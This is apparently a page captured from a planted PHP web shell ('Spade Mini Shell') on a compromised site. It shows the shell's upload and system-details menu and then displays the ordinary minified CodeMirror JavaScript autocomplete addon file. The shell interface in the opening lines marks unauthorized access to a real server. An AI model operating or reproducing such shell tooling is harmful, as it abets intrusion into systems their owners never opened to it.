Spade

Mini Shell

Directory:~$ /home/lmsyaran/public_html/j3/media/editors/codemirror/addon/hint/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/public_html/j3/media/editors/codemirror/addon/hint/javascript-hint.min.js

!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){function
b(a,b){for(var c=0,d=a.length;c<d;++c)b(a[c])}function
c(a,b){if(!Array.prototype.indexOf){for(var
c=a.length;c--;)if(a[c]===b)return!0;return!1}return-1!=a.indexOf(b)}function
d(b,c,d,e){var
f=b.getCursor(),g=d(b,f);if(!/\b(?:string|comment)\b/.test(g.type)){var
h=a.innerMode(b.getMode(),g.state);if("json"!==h.mode.helperType){g.state=h.state,/^[\w$_]*$/.test(g.string)?g.end>f.ch&&(g.end=f.ch,g.string=g.string.slice(0,f.ch-g.start)):g={start:f.ch,end:f.ch,string:"",state:g.state,type:"."==g.string?"property":null};for(var
k=g;"property"==k.type;){if(k=d(b,j(f.line,k.start)),"."!=k.string)return;if(k=d(b,j(f.line,k.start)),!l)var
l=[];l.push(k)}return{list:i(g,l,c,e),from:j(f.line,g.start),to:j(f.line,g.end)}}}}function
e(a,b){return d(a,n,(function(a,b){return a.getTokenAt(b)}),b)}function
f(a,b){var c=a.getTokenAt(b);return
b.ch==c.start+1&&"."==c.string.charAt(0)?(c.end=c.start,c.string=".",c.type="property"):/^\.[\w$_]*$/.test(c.string)&&(c.type="property",c.start++,c.string=c.string.replace(/\./,"")),c}function
g(a,b){return d(a,o,f,b)}function
h(a,b){if(Object.getOwnPropertyNames&&Object.getPrototypeOf)for(var
c=a;c;c=Object.getPrototypeOf(c))Object.getOwnPropertyNames(c).forEach(b);else
for(var d in a)b(d)}function i(a,d,e,f){function
g(a){0!=a.lastIndexOf(n,0)||c(j,a)||j.push(a)}function
i(a){"string"==typeof a?b(k,g):a instanceof Array?b(l,g):a
instanceof Function&&b(m,g),h(a,g)}var
j=[],n=a.string,o=f&&f.globalScope||window;if(d&&d.length){var
p,q=d.pop();for(q.type&&0===q.type.indexOf("variable")?(f&&f.additionalContext&&(p=f.additionalContext[q.string]),f&&!1===f.useGlobalScope||(p=p||o[q.string])):"string"==q.type?p="":"atom"==q.type?p=1:"function"==q.type&&(null==o.jQuery||"$"!=q.string&&"jQuery"!=q.string||"function"!=typeof
o.jQuery?null!=o._&&"_"==q.string&&"function"==typeof
o._&&(p=o._()):p=o.jQuery());null!=p&&d.length;)p=p[d.pop().string];null!=p&&i(p)}else{for(var
r=a.state.localVars;r;r=r.next)g(r.name);for(var
s=a.state.context;s;s=s.prev)for(var r=s.vars;r;r=r.next)g(r.name);for(var
r=a.state.globalVars;r;r=r.next)g(r.name);if(f&&null!=f.additionalContext)for(var
t in
f.additionalContext)g(t);f&&!1===f.useGlobalScope||i(o),b(e,g)}return
j}var
j=a.Pos;a.registerHelper("hint","javascript",e),a.registerHelper("hint","coffeescript",g);var
k="charAt charCodeAt indexOf lastIndexOf substring substr slice trim
trimLeft trimRight toUpperCase toLowerCase split concat match replace
search".split(" "),l="length concat join splice push
pop shift unshift slice reverse sort indexOf lastIndexOf every some filter
forEach map reduce reduceRight ".split("
"),m="prototype apply call bind".split("
"),n="break case catch class const continue debugger default
delete do else export extends false finally for function if in import
instanceof new null return super switch this throw true try typeof var void
while with yield".split(" "),o="and break catch class
continue delete do else extends false finally for if in instanceof isnt new
no not null of off on or return switch then throw true try typeof until
void while with yes".split(" ")}));